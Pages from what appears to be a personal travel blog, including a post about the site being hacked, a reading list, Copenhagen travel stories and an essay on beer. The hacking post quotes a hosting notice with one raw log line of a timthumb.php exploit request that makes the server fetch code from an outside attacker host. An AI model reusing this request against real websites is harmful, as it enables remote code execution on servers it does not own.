The Trip Overland Hacked via the Timthumb Vulnerability

The Berkeley Sky at Night (Manny Santiago) (Manny Santiago)

On the road there is little time for anything other than catching glimpses out of the corner of your eye along the speeding road of the blurred trees and the slower moving mountains at the far-off horizon line. There isn’t an opportunity to jack in, hook up, dose out online. When you are working out on the road and your only Wi-Fi connection is still 500 miles away in the next Motel 6, how do you protect yourself? A better, more wider ranging question might be: how do you keep what you put out into the world safe from those who would do harm?

After getting back from a summer trip to New Orleans, I got a job in Northern California and was off the grid, so to speak, for a few day, camping, kayaking and shooting long exposures of stars at night. Getting back to reality I received the following message from my hosting company:

We need to inform you that your hosting account for willwalkforsex.com has been hacked and used to run illegal software on the server. Here is how the hackers have exploited your account:

87.118.92.112 – - [17/Aug/2011:08:43:18 -0400] “GET /wp-content/themes/xxxxxxxxx/includes/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php HTTP/1.1″ 200 827 “http://www.enchantedhillsweddings.com/wp-content/themes/DeepFocus/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php” “Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8″

To secure your website, and to avoid similar incidents in future, you will have to upgrade any third party software you are using on your account to the latest versions. Also, if you are using any custom scripts, please secure them as soon as possible.

Here is a full rundown of the timthumb vulnerability.

I had always assumed that hacker’s wouldn’t (or shouldn’t rather) be interested in sites like mine. Why would they? Is there any reason for them to use this site other than as gateway protection to buffer them from their real target? Their real target being offshore holdings of some monolithic corporation or secret plans housed in an underground government facility. Why The Trip Overland? [shakes fist at sky whilst muttering, "I'll get you yet!"]

Anyway, apologies for the downtime (those of you who actually noticed!). We’re back up and running at at least 68%. More to come.

The Berkeley Sky at Night (Manny Santiago)

The Berkeley Sky at Night

Books To Sail To

A few literary suggestions to quench your thirst for adventure.
A few literary suggestions to quench your thirst for adventure.

A few literary suggestions to quench your thirst for adventure.

From my Sealog:

Over the next three days I drank as much of the steward’s horrible coffee—a diuretic—as I could possibly choke down. This, coupled with ransacking the library for what hard-boiled detective novels as well as any and all spy thrillers I could find, served to allay my hand from the ship’s well-stocked stores of alcohol. As well as the fact that I had spent all of my money on cheese before departing France made this seemingly Odyssean effort of ignoring the Siren of the sea—and here I mean Rum—much easier to accomplish than one would think.

I scanned through Agatha Christie and Caleb Carr like a warm knife through so much Camembert, which I partook in liberally as well. I conquered Ian Rankin and John le Carré, Ludlum’s Bourne Trilogy (at over 1400 pages this book was physically demanding to life, let alone read) and I even found time for A Traveller’s History of Russia as well as the latest Yann (Yawn) Martell pooh pooh. Thankfully there were no Paolo Coelho novels or I might have given myself up willingly to the siren voices calling out to sea.

I have a rule: no more than one book at a time. Despite the fact that I generally read anywhere from two to four books at a time, when walking down the long road that ends at the sea, it’s to much to carry more than one. If your one happens to be Infinite Jest that might be too much as well.

Here is the list—in order—of what I read as I left Japan and ended up in California:

  • Cloud Atlas – David Mitchell (Hodder & Stoughton, 2004)
  • Shantaram – Gregory David Roberts (Scribe, 2003)
  • Budding Prospects – T.C. Boyle (Penguin, 1984)
  • Genghis Khan & The Making of the Modern World – Jack Weatherford (Crown, 2004)
  • Into Thin Air: A Personal Account of the Mt. Everest Disaster – Jon Krakauer (1999, Anchor Books/Doubleday)
  • The Rise and Fall of the British Empire – Lawrence James (St. Martin’s Griffin, 1997)
  • Freakonomics: A Rogue Economist Explores the Hidden Side of Everything – Steven Levitt & Stephen J. Dubner (William Morrow & Co., 2005)
  • The Power of Myth – Joseph Campbell (Anchor Books/Doubleday, 1988)
  • The Blunderer – Patricia Highsmith (W.W. Norton & Co., 1954)
  • Los Detectives Salvajes – Roberto Bolaño (Picador, 1998)
  • Tree of Smoke Denis Johnson (Farrar, Straus and Giroux, 2007)
  • Dashiell Hammett Complete Novels: Red Harvest, The Dain Curse, The Maltese Falcon, The Glass Key, and The Thin Man – Dashiell Hammett (Library of America, 1999)
  • Dark Star Safari – Paul Theroux (Penguin, 2003)
Rook at Sea

Even out at open sea there are signs of life

All of the aforementioned books were each excellent in their own way. If you have any suggestions to add, or a comment on the list, please feel free to comment below or let me know at info (at) willwalkforsex (dot) com.

Thanks! Read on!

The Future of Us

King Frederik Looks to the Future

Everywhere—all over Africa and South America … you see these suburbs springing up. They represent the optimum of what people want. There’s a certain sort of logic leading towards these immaculate suburbs. And they’re terrifying, because they are the death of the soul…. This is the prison this planet is being turned into.

- J.G. Ballard

King Frederik Looks to the Future

King Frederik Looks to the Future

“This is it mate,” Geoff, looking over my shoulder into the sun glancing off the water, sips from his 50 kroner draft of Carlsberg and motions all around, “this is the city of the future.”

He may not be as wrong as I am skeptical.

“Clean water, healthcare, education, literature, art, this is the center of the design world, man and,” here he leans in close, “will you look at all these birds around us.”

His hushed tones did nothing to allay the stares of the birds and waiters alike.

“Geoff, this isn’t Japan. They can understand English here. Perhaps better than we can.” I went to take a deep drink, noted the price-tag and thinking better, took a sip.

“Who cares! They’re all bloody mad until they turn 25. It’s all clubbing and shagging, pissing it up for days on end, then suddenly it’s time to get a family cycle. Everything’s guaranteed, so there’s no stress like, worrying about school, a job, the future. It’s all set, don’t you get it. Just take aim at one of these leggy blondes and squeeze a few off, you’ll be in the club. Man, the Danes are great!”

“Blondes are overrated. So is design. Art, on the other hand, and clean water, are not. Paying off loans on an art degree isn’t great either, but it’s wholly American. Can we really drink this?” I pointed through the wooden deck to the lake.

“From what I’ve read, yes. From what I’ve seen, well, let’s not get ahead of ourselves, it’s still early. We’ve yet to get through dinner at Anders’.”

“Ah yes, how did you put it?…the ‘gay mafia’. I should warn you, I only have one pair of pants.”

“Let’s hope you have trousers as well. But if they were good enough for those rough and ready Mongolian lasses, then they should be sufficient for the gay mafia.”

“And don’t you forget it. Looks like it may be similar to Japan after all. Check out all the roguish types drinking in public. Let’s go get a couple of walk-arounds and find somewhere to admire the local fauna.”

Circumnavigating the four rectangular lakes, we talked more about living in Japan—specifically why I had left—and his idea of the city of the future, if it were even possible, and if we were truly in it. Openly carrying green bottles of lager reminded us of running around Fukuoka at night like a pack of drug-addled hyenas, ignoring the thousands of wary Asian eyes and searching only for more liquor, more women, and the next good time. I told him that Tokyo was Fukuoka times ten and eventually, just as powerfully soul-sucking on the backend. Getting out of that treeless homage to greasy gray skyscrapers and desultory apartment buildings, despite its amazing public transportation and great independent restaurant and bar scene, was paramount to surviving my thirties.

“I’m getting old G. And what have I got to show for it? A few photographs. A few stories. Jesus…”

“All right grandpa? How about another crispy lager before you pass on then. We should pick up a bottle of vino for Anders’ as well, though they’ll have plenty. Aunt Jez warned me the gay mafia likes a good piss up.”

“God bless the gay mafia.”

The gay mafia consisted of Anders and Lars, both of whom were exceptional hosts. After pouring us a drink and showing us around their newly renovated flat, followed by several rounds of aperitifs, we dined on massive porterhouse steaks—bloody as hell—french fries, green beans and a few bottles of good French vin de pays. Their large apartment—a 19th century ode to the popular historicist movement of the time—austere to say the least, would have been within the original city walls. Anders told us of overcrowding, food shortages, sewage issues, all because King Christian’s unwillingness to open the ringed fortifications that then surrounded Copenhagen, quipping about still being scared of Nelson’s long-range canons. It was over several digestifs of grappa that we discussed Lars’ administrative travels to Greenland (as an sled-dogging accountant), the legalization of gay marriage in 1989, and life in Denmark versus life in Japan versus life in Britain versus life in the U.S. Everything seemed so adult, so mature, so comfortable. It was well after midnight when Anders clapped his hands, noted it was a “school night” and sent us to weave our way through the cobblestoned streets around the city center. We came upon a bodega spilling with women, found a couple of chairs and talked about collaborating on a magazine in the future.

Geoff sipped his draught of Carlsberg Elephant Ale. “Close your eyes, pick a place on the globe, we’ll go there, photograph it, write it up, drink it in. There’s our first issue.”

“Sounds good, G. Just give me time to find funding and…to hop a freighter. You know I don’t believe in the whole flying thing.”

“Just a fad, gramps, I know. Speaking of planes, I’m back to the old blimey tomorrow morning. Here’s to the future.”

“Indeed.” We drank deep, surrounded by the warmth of others.

*

Los Tres Amigos

Los Tres Amigos

From that point on, the gay mafia were the only Danes I would meet. Armand, Edouard, Niels, Gino, Alastair, Kelly, Nadya, French, Dutch, Scottish, Italian, Russian, an American even, all expatriates, would be my guides to the city. Though we wouldn’t go to overpriced Tivoli, the often vandalized Little Mermaid or Steenwinckel’s Round Tower, a bicycle tour of the best bodegas, local restaurants, cafes and bars the good side of affordable Copenhagen was more than worth its weight in crowns. It was in one of these places where we sat around a table covered with bottles of beer, coffee, water, cameras, film, magazines, and tried to parse out why the Danes are so happy.

“You have been here for only a few days and already met some actual Danes?”

“Served us dinner, Anders gave me his number as well, said if I needed anything…”

“Unbelievable. The Danish are usually so so so so…”

“Cold?”

“Not cold, just private. One cannot invite a Danish out to have a drink, how do you say…spontanément?”

“Spontaneously.”

“Yes, they need weeks to plan anything.”

“It’s all part of hyggelig.”

“Hewgerli-what?”

“Hyggelig. It means…”

“Comfort.”

“Welcoming.”

“Accommodation.”

“If any Danes would actually speak to us now (but we wouldn’t interrupt them because that’s not hyggelig…), they would tell us it’s untranslatable. I was chatting at a university party with one of my students and asked her what it meant. She could only give me this example, ‘When I am sitting next to someone on the bus, next to the window, and he or she needs to get out of the bus, we would like you to move without saying anything.’”

“Seems very Japanese. The outward politeness and courtesy which is expected of everyone else, yet is also rarely applied to oneself.”

“Well, it’s a Danish only thing, I can tell you. The rest of us barbarians could never understand such complicated and difficult ideas as hyggelig…”

Laughing, we were beginning to get mildly drunk enough that we either didn’t care or didn’t notice people were staring.

“If this hyggelig is Danish only, why do you all continue to live here?”

“Strictly speaking, it’s not Danish only. It’s just that we are not Danish so we have no point of reference, just as they would have no idea what it means to be British, or French, or American.”

“Yes, taxes are high, but the pay is very good. There is good healthcare. The people here are obsessed with the healthy image. Biking and jogging everywhere. Business women sunbathing nude in the park at lunch. The air is clean, the water is clean. If you do not have a car, you can save money easily…”

“It is easy to speak bad about wherever you are, but we have food, beer, each other, life is good, no!”

“There is some joy in not belonging, in being an outsider. It gives you some kind of fire.”

“So how do they manage to get along with non-Danish? It’s almost ten percent of the entire population?”

The table, and maybe the entire cafe, seemed to collectively exhale.

“It is, as you say, like in Japan, a difficult thing. If they were white, like the German minority here, maybe there would be less problems. Like in Japan, when people see a different color face, white, brown, chartreuse, anything, the people take notice. Most do not care, but some…”

“With us, it is more difficult, because I am Caucasian, so they have to get close to me before they know I am not Danish, unless I smell…do I smell French?”

In unison, “Yes!”

“Ils sont les chaud lapins. Fucking like rabbits and keeping to themselves make the Danish nervous.”

“They do not want to take part in this culture, which, even if they did, they would not necessarily be invited to do so, but they get angry, call you racist when you say you do not want to join their culture, which generally means their religion.”

“Culture doesn’t exist. It’s the excuse we give to explain our misunderstanding and fear of others, of the unknown. But humans are humans. Shaw said, ‘The ordinary man is an anarchist. He wants to do as he likes. He may want his neighbor to be governed, but he himself doesn’t want to be governed.’”

“Meaning…”

“We are all selfish children, who don’t want to share, but are forced to. Everyone wants their ‘culture’ to be the best, the most important, to be adhered to when foreigners enter the country. The Japanese want you to take off your shoes when you enter their houses, the Americans want you to love freedom and hate taxes…

“…or they’ll bomb your country!”

“…the Danes want…”

“…smørrebrød…”

“…sausage wagon…”

“…hyggelig…”

“what we all basically want: good food, drink and the comfort of knowing it will all be there tomorrow. Me, I want a different beer. Enough of this bland pale lager.”

“Is Midsummer today, so there will be the lake on fire. It maybe rains, typical Danish summer, but we can practice Danish culture, buying beer, drinking outside, eating the sausage, finding healthy Danish women…”

“…They won’t talk to you…”

“Is o.k., I have some friends, Italianos, a birthday party of a young lady. You maybe come and bring your boun appetito, they just came back from Italia, so maybe they bring prosciutto di Parma, Lardo di Colonnata, Formaggio, Ravioli, all illegal exports, so shhhh.”

“And vino?”

“Buon vino Italiano.”

“Le vin français serait mieux…”

“I’m homeless, so I’ll drink anything.”

“The homeless are so very non-discriminatory.”

[nggallery id=20]

Getting to Copenhagen

Getting to Copenhagen
Getting to Copenhagen

Getting to Copenhagen

You turn over the last of your cash to the smiling lady, the amalgamation of months of traveling: Yuan, Tugriks, Rubles, Kroons, Zlotys, Forints, even some Rupees, all heaped on the counter in the dismal hope that the beautiful smiling machine can change it into whatever it is they use here, in this way station, for a ticket to the next place, a beer, maybe some bread. Whirring computer bleeps and more smiling and nodding confirm you are worthy. Transaction complete! Her smile already fading as you sign, eying the person behind you, you take the few slim bank notes, and shuffle down to the next window.

The clerk confirms what the ad says with a brisk smile, “As quick and smooth of an overnight trip as there is…” and you think that you’ll be able to sleep. Save money on a night’s lodging, you say to yourself, the same as you have for how many years now? You imagine that with a little luck you’ll find an unoccupied pair of seats to be able to stretch out the legs. At least an aisle seat. Who knows, there could even be some eastern European princess there to tell dirty jokes to and sneak snorts of wine with. You’ll wake up in the morning refreshed and arrived in the city of the future: Copenhagen.

But not so easy. The Trip, lest we forget, is a living thing and has plans for us. It has lessons. The Trip, after all, it is about getting there.

A small crowd of riffraff coagulated into a retarded line around me just before the bus arrived at Berlin’s main station. The door opened with a shush of air and the man motioned for my ticket, read it and quickly started spouting what sounded like epithets against my whole family. Sounds like Czech, I thought.

Shit.

The bus, originating in Brno and passing through Prague and Dresden, had been filled almost to capacity. The ragtag bunch of miscreants waiting to board began quickly piling inside while the driver shook my ticket and demanded, “Five Euro!” All managed to find seats by the time I emptied out my pockets, convincing him to let me on for all the money I had left in the world: €4.32. All eyes gazed up me, shifting from the sweat glistening off my scraggly beer-smelling beard to my incongruously stained Hawaiian T-shirt as I walked down the aisle searching for the last seat. No visible place manifested itself as I reached the back of the bus and turned to look once again, the first-day-of-school fear of searching for a seat with all eyes on you hardening into knife-like tension. From the back I counted heads and finally came upon a single mange of hair a few rows up near the toilet. Approaching, standing next to the broad-hipped woman in the flower print dress and asking if I could sit, she looked up, growled something in a guttural German and finally motioned me over her considerable bulk to the window seat. This was the beginning of getting to Copenhagen.

*

The first time I heard “Copenhagen” was in reference to smokeless tobacco. During high school would-be smokers were dissuaded from the obvious use of cigarettes by abortive district-wide policies. The funneled toward a more manly type of tobacco addiction colloquially known as “chew”, “chaw”, “cope” or “dip”. The moist snuff, sold under the brands of Copenhagen and Skoal, came in small circular cans ringed in metal smelling pungently of mint. Those brave souls who dipped wore cowboy hats, and what they called “shitkickers” and often had telltale can-shaped outlines in the back pockets of their Lee jeans. Once at a party where the beverage of choice was slightly chilled malt liquor in 40 ounce bottles, I was offered, and pinched, a dip, packing a large clump of the grainy stuff into the space between my front lower lip and my gums. Knowing the danger of swallowing the nicotine-rich juices, yet not having an understanding of just how much fluid it produced, and with the malt liquor flowing like a lukewarm river of gold, the two streams soon intermingled and I passed out, only to awaken in the early morning hours with a throbbing head covered in illicit writing and smelling of minty vomit. Never again, I swore, scrubbing my brow. Copenhagen vanished from my lexicon.

*

The woman was in her mid-fifties, surly in every way, and had amazing upper body strength. Her meaty forearm controlled the armrest like an angry Visigothic warrior. The bus rolled on into the dark toward the thundering skies over Hamburg. As the storm clouds opened up and lightening punctuated the night like a strobe, her ghoulish outline seemed to grow even larger, her thick voice pitched harshly like half-notes from a broken oboe. Complaining loudly to all and sundry in the black of night about how much extra space I was stealing, hers the only overhead light on for spotlight effect of her mini-tirade. Eventually becoming ensconced in the large typeface and glossy photos of her Bild am Sonntag magazine, the warrior subsided, only loudly flapping the pages and harrumphing occasionally at the outrageous American and his too long legs.

Sometime before two am, and just after finally falling asleep, the driver turned on the interior lighting and announced in a staticy Czech: We have arrived in Rostock and will be stopping to be checked by Danish Immigration Agents after which we will immediately board a ferry to the island of Zealand, Denmark and will continue our journey on toward Copenhagen. Thank you, now get out of the bus.

As soon as the announcement was made, voices from the rear of the bus began rising and items in bags were shuffled about in a clamor as several smiling Danish immigration officials boarded, collected and eventually returned our papers, wishing me a pleasant journey. Painless as it appeared to be, apart from crossing over to Estonia from Russia, entering Denmark was the only other European locale my passport was inspected. As we alighted from the enclosed security zone into the belly of the ferry I noticed two men being ushered aside. They, nor their luggage, never made the ferry.

Once aboard I mounted the stairs to the third floor passenger area, peed and found an available bench out on an exterior walkway. I rolled my last smoke and looked out at the light of the full-moon reflecting off of glassy Baltic waters. The clouds had cleared up the early June night sky and in the eastern distance the first filaments of sunrise could already be seen. A woman approached and asked “Har du ild?” When I didn’t immediately respond she looked at me and quickly asked in English, “Do you have a light?” Her accent was more sophisticated than her dress, but less so than her red hair.

“Yes, I do,” holding my own struck match, adding, “please.”

“Thanks.”

“Excuse me, but can I ask you a question?”

“Yes.”

“Would you like to have a seat?”

“OK, thanks.”

Quietude. Water flowing. Birds.

“What did you want to ask?”

“I asked you to sit. Where are you going?”

“Oh, I’m going to near Copenhagen. You?”

“Funny, that’s where I am going. Know any good places?”

“All of them. Want to come?”

I told her I did. We exchanged smiles and talked through another cigarette. Eventually she asked where I was coming from. I told her Germany. She smiled at me like I was an asshole and said she knew that, but before getting on in Berlin, where had I been?

“Poland. And before that, China and all the tiny in-between countries too.”

Laughing, she asked where my favorite place was. I told her I had been looking forward to this particular trip for a while, and so far, it was not disappointing.

“Oh, so you like good beer and women…and…”

“And bicycles too.”

“Good answer. What about mermaids?”

“Mermaids? Are there many? Is it polite to feed them?”

“So you know the legend of the little mermaid, yes?”

“No idea.”

“It is 300 years to become human. She has to wait two hundred years more for a soul.”

“By the time that have happened everyone she’ll have loved will be dead.”

“Exactly, so what is she waiting for?”

“She’s waiting for herself.”

“She has got faith.”

“Isn’t this a children’s story?”

“Yes and no. Some parts are for children. Some are for adults.”

“Sounds complex. Hearing it read it in the original language, soothing voice and all, might help…”

“Oh, do we have some schooling for you.”

I told her that I hoped so and added that I was entrusting the task to her. I pulled out my two lukewarm German beers – a white wheat ale and stout black lager – and gave her her choice. She took the white beer, opened it with my lighter and handed it back to me, smiling, “Now we’re even.” She cracked the stout and we skoal’ed. The night rolled on into the faintest swipes of blue, slowly brightening at the edges.

She said her name was Maya. With my plan of watching Heston Blumenthal’s In Search of Perfection now dashed as the waves on the hull below, and happily so, we found more private seating inside the fourth floor bar, which was closed, and empty except for the rats. We talked about the excitement of going places, meeting new people, and eating everything imaginable, what she called the strange “pheromone ache” withdrawals of being in a static situation, yet wanting to hop on a plane and fly away to a foreign land for adventure and usually lots of sex. Occasionally I wonder if know enough of whichever language I speak to truly understand it, but not often. Sometimes it’s just best to roll with with the waves.

Eventually the call came as we docked in Denmark and we got back on the bus, agreeing to meet again when we arrived in Copenhagen. My seatmate returned and a tidal wave of shudder simultaneously passed over the entire area. Plopping down she whipped out her magazine and started to paw through the shiny pages. Pausing for some reason, she stopped on a large color photo of a naked female figure cast in bronze and seated on a large round stone on the banks of a body of water, directly beneath which ran the headline: Die Kleine Meerjungfrau: Vermisste. Not recognizing it I laid back and ignored the belligerent panting of my adjacent adversary, slipping quickly off into the first comfortable sleep of any kind while on a bus. For some reason I dreamt of being shipwrecked at sea.

The bus’ clock read 05:30 when we finally arrived, and we quickly found a cafe near the central station. I found a recycled English-language newspaper with a story which explained the German tabloid headline: The Little Mermaid: missing. In trying to rouse its readers to a melodramatic conclusion, it suggested a more sinister destiny than representing the Danish pavilion at Shanghai Expo 2010, “She has been beheaded and doused in paint several times. In 2003 the statue was blown off her perch by vandals who used explosives. What now?” Just as I wondered if the city officials of Copenhagen wanted to embody the Scandinavian ideal of self-assurance that makes the small capital the heart of the world’s happiest country1 in the continuing evolution of any one concept, perhaps it would be Hans Christian Anderson’s The Little Mermaid, a crew of drunken youths rowdily entered the cafe and sat down, singing loudly and laughing, all carrying green bottles of beer.

I asked Maya about the statue.

Mermaids have feelings too

Mermaids have feelings too

She read from her smart phone, “Carl Jacobsen commissioned Edward Eriksen in 1909 to sculpt the Den lille havfrue statue that sits in Copenhagen harbor along the Langenlinie park area.” Did he concretize the metaphor into reality? Anderson may have captured some of the Danish spirit that is adventurous and wants to know the love of man, yet ultimately learns the quiet value of staying home. What Anderson didn’t depict of his fellow Danes, Paracelcus’ Undine, Wagner’s Lorelei, and countless folklore and legends has for centuries: sirens, rusalki, morgens, selkies, ningyo are more than over-sexualized fodder for the peripheral fury of the masses.

With the majority of Danes under thirty still boozing at six a.m. I didn’t care much about analyzing Anderson’s fairytale as an appropriate Christian response to the popular Rationalist thought of his time. Instead I focused on the face framed in red across from me.

“Do you know Kierkegaard?”

“The philosopher?”

“Um, do you want to see his grave?”

What would have been a fifteen minute bike ride for any average Copenhagener, took almost an hour to get through the minefield of broken bottles on Vesterbrogade, and navigate around St. Jorgen’s Lake, which separates the city center with inner Norrebro. The tall blonde joggers pacing the perimeter of the rectangular man-made basins soon outnumbered the drunks, but not by much. Reaching Aboulevard we turned right into the Norrebro neighborhood and found the back way into Assistens Cemetery, a well-tended labyrinth of green. People sprawled out on blankets and coats or passed out in the grass, surrounded by bottles, became obvious as we walked toward where the signs indicated.

“Cheapest hotel in the city,” she laughed, and motioned “here, this way.”

After kicking the pebbles in front of Kierkegaard’s grave for a while we moved to a less densely occupied patch of green and sat. The sun that began to show just over the headhigh hedges, shone down on the slightly freckled skin of her forearm.

“I have to go soon. Before I do, I want to give this to you.” She pulled out Søren Kierkegaard’s The Concept of Anxiety

“It is the novel in which he talks about Adam and Eve and their ‘leap to faith’.”

“Do you mean leap of faith?”

“He said “leap to faith”. That is not what I want to tell you. He talks about the inability of man to prove God, yet our constant wish is to do this. This is a contradiction and there are many more. So, there is no other way to come to God than faith. But wait…” She laughed, moving her head and doing so her red hair shone bright in the sun’s reflection. It was enough to dull all the god-talk to the point that I had the overwhelming urge to grab her, and melt together in the middle of all that death, prettified as the Danish tend to make it, with a little life. Visions of tumbling into the green grass, the blue sky, and her red hair, her… “…I’m not religious and I know how this looks, coming to a graveyard and talking about philosophy and god,” giggling again, she went on, “like very silly teenage things, but I want to give you a special memory, because we will never see each other again.”

“My mama always said, ‘Never is a long time.’”

“I understand it sounds mysterious, but think about how you will remember this day and last night…”

I moved very close to her and very lightly touched her arm, “What if I don’t want to remember it someday? What if we die right now? What good are memories?”

I touched the sharp ends of a swaying loop of her red locks, where the sun played a symphony in and out of shadow, and leaned in, eyes closed, inhaling, feeling it on my face, absorbing the fragrant aroma of apples and hay.

She went on in a whisper, “I see your point. I do.” Exasperated, breathless almost, “What I want to say is that you are free. Free to choose. Faith or no faith…” She kissed me very softly, like a painter applying the final daubs to a canvas, until gradually increasing in intensity we fell back onto the grass. Eyes closed. Fingers fumbling with buttons. A whorl of skin and wool. Warm flushes of engorged capillaries seething. Non-spontaneous chemical reactions going about their business. A runner panted by.

I woke up not knowing where I was and feeling like driftwood bobbing on far-off waves, hollow, lost. I rolled over onto my belly, digging into the side-pocket of my camera bag, found the flask and turned its bottom up longer than usual. Sticking out of the book on my bag was a note that read: It’s just a simple leap to faith and was sealed with a kiss. Reading the page, the phrase “dizziness of freedom” was underlined, “Anxiety is the dizziness of freedom…In that very moment everything is changed…Between these two moments lies the leap, which no science has explained and which no science will explain.”

For no reason I could fathom Mark Mothersbaugh’s lyrics to the classic 1980 DE-VO song Freedom of Choice, “Freedom of choice is what you got/ Freedom from choice is what you want” careened around my head. Human hangovers were getting up and trudging off like beautiful Scandinavian zombies, lighting cigarettes. I set the book down on my chest and looked up at the sky at the puffy mermaids on fat cumulonimbus rock-clouds floating by.

1 Ronald Inglehart, World Values Survey

Beer from around the World

Saison Brett - Boulevard Brewing Saison / Farmhouse Ale 8.5%
Saison Brett - Boulevard Brewing Saison / Farmhouse Ale  8.5%

Saison Brett - Boulevard Brewing Saison / Farmhouse Ale 8.5%

Beer is water, barley, hops and yeast. More or less this is the recipe for the most popular alcoholic drink-and third overall-the world has ever known. There are many variations on this recipe, which, much like the variations in people, give rise to the differing characteristics that make the world such a diverse and awe-inspiring place (to drink). Yet, while some may consider these variations themselves to be of the utmost importance (what separates common Pilsner style American pale lagers from Trappist monk-crafted dark Belgian ales just as we used to segregate types of people), the basic ingredients are almost always the same. But what isn’t on your list of ingredients, what won’t show up on any menus, the thing that has given the drink of beer the power to allure literally billions of people over thousand of years is unquantifiable, because simply put, it’s magic.

The most logical of minds among you might automatically leap to the question that is begged: what about the alcohol?

Commensurate with that reasonable assumption, which is objectively true, is that among other things, alcohol is the main by-product of yeast, those eukaryotic, unicellular micro-organisms which under specific anaerobic conditions convert sugar into ethanol. Barley (or some other grain) is soaked in water and subsequently malted, allowing the enzyme amylase prevalent in barley to convert starches in the grain into fermentable sugars. Add hops for flavor and preservation. Cool and allow yeast to begin feeding on sugar. Depending on the variety of yeast, the time and temperature at which it is stored (ales shorter, lagers longer), the by-product-or waste product-ethanol, is created.

To be blunt alcohol is the afterthought of a corpuscle of pure action, as hellbent on survival as any other living thing, and as much in the dark as to the why of it, if that matters anyway. Yet this embryo, which can do more than anything you or I have ever accomplished by just excreting waste, which metabolizes carbohydrates under low-oxygen conditions into alcohol, is magic. Ask any scientist the question, “Where does the alcohol come from?” and they might try to give you some bio-technical mumbo-jumbo about zymurgy, they may be able to observe the process, but they cannot explain how a single-celled microbe just happens to poop out the magic of ethanol. Louis Pasteur concluded that fermentation was catalyzed by a “vital force”, but couldn’t say how yeast extracts ferment sugar even in the absence of living yeast cells, i.e. when they are dead. How do dead yeast cells still manage to excrete alcohol while all you do is stink up the bathroom?

Magic.

Westmalle Trappist Brewery Tripel 9.5%

Westmalle Trappist Brewery Tripel 9.5% is Magic

In its most generic, idea form, it is a suggestion of merrier times past and what may come. At its most practical, it is a 7000 year-old blue-collar drink shared at a common table where daily travails are swapped amongst world-weary workers who smile despite myriad other pressures. For regardless of race or nationality, beer is the present tense, the guts, belly and lungs-the sex. Beer is magic. And the magic is served everywhere.

From Japan to China, southeast Asia and up through Mongolia and central Asia there are generic pale lagers being produced today which were introduced a century ago by seafaring Dutch or bureaucratic Russians that are no worse than any American style adjunct lager like Coors or Budweiser. In fact, many are much better. Yebisu, along with the budding craft beer industry in Japan, are shining Japanese stars. Basketball giant Yao Ming has a Yanjing brewed lager that is much tastier than than bear liver juice and snake blood. Not to be outdone in anything alcoholic the Mongolians have the respectable Chinggis Beer, which like the shaky-handed Thai-brewed version of Tiger beer, has an alternating alcohol content (abv) of two to nine percent. Lucky Mongols!

Moving through Mongolia and Russia is like swimming through an unending, and surprisingly refreshing spring of Vodka. Though occasionally even the Russians like a bracing malted beverage. Exit the Soviet era. Enter Baltika. Saint Petersburg-based brewer of strong lagers and dark wheats with the higher alcohol content required in Russia. Kvass, the low-alcohol and lacto-fermented beverage akin to kombucha, deserves a mention due to when yeast are not producing deliciously intoxicating doo-doo, they make a strong argument for consumption of fermented drinks, possessed as they are of immense health benefits.

Sailing down the Baltic Sea through Estonia and emerging into the western world of Europe from central Asia and Russia, you might find yourself face to face with many complex and tasty Baltic porters and the heady realization of the full influence of the Czech pilsner begins to rear its golden Bohemian lionshead. While many might say that the Germans’ influence in the beer world is larger (lager is derived from the German for “storage”), I would argue that the Czech brewing tradition (Budweiser, Pilsner Urquell, highest per capita consumption rate) is second only to Belgian beer, though the U.S. craft beer revolution brewing since the late 80s is making a case for malted American beverages.

Which touches on a particularly sensitive subject: the reputation of American beer abroad. While living abroad I have found myself fending off generalizing put-downs to American beer based mostly upon notoriously weak pale lagers produced by Anheuser-Busch and MillerCoors almost as much as rants about overly aggressive foreign policy. I suppose it follows that all Americans should shoulder the blame for everything American. The truth is most countries (except Belgium and to a lesser extent the Czech Republic and Germany, it seems) produce or sell an adjunct lager. Meaning a beverage whose malt content is adjuncted with corn, rice, sorghum or soy in order to cut cost. The American versions are just the most popular. I generally argue that all beer (or beer-like beverages) have a proper context in which they can be enjoyed, including Budweiser. These hypothetical contexts generally center on post-connubial relations with unnamed faux-blondes where consumption of large quantities of mass-produced pizza products are necessary to get the taste of vomit out of the mouth. Not that I would know.

Moving along, there are five accepted characteristics used to evaluate beer: Appearance, Aroma, Flavor, Texture, Drinkability aka Look, Smell, Taste, Mouthfeel & Drink. Take the average American beer, say the Pabst Blue Ribbon, a 4.7% American Adjunct Lager, described by Beeradvocate as:

Light bodied, pale, fizzy lagers made popular by the large macro-breweries of America after prohibition. Low bitterness, thin malts, and moderate alcohol. Focus is less on flavor and more on mass-production and consumption, cutting flavor and sometimes costs with adjunct cereal grains, like rice and corn.

Look: Pale, golden color, light head, fizzy

Smell: Overwhelming sweet corn syrupy

Taste: Overwhelming sweet, corn syrupy

Feel: Like swishing around carbonated water

Drink: When served very cold surprisingly refreshing, palate cleansing even.

Overall: Good for washing down typical American-style pizza, barbecue and junk food. Like happoshu in Japan. Good for the post-prohibition age for which it was designed. Surprising clout in the hipster community.

Pabst Blue Ribbon American Adjunct Lager 4.74%

Pabst Blue Ribbon American Adjunct Lager 4.74%

That is of course the average, not much better than a C- in most modern beer drinkers’ books. Not just the drink itself but the paradigm within which we imbibe too must be examined in order to properly understand the magic of beer. The way people drink beer now is different from how it was before the the industrial revolution brought in the assembly line to dilute our fair brews. Prior to this, beer was originally meant to replace supplies of water that had become undrinkable, specifically in Belgium, where they called the local farmer’s brew Saison. Farmhands were allowed five liters a day during the “season” and were were meant to be refreshing rather than intoxicating and thus had alcohol levels less than 3%. Brasserie Dupont says, “Because of the lack of potable water, saisons would give the farm hands the hydration they needed without the threat of illness.”

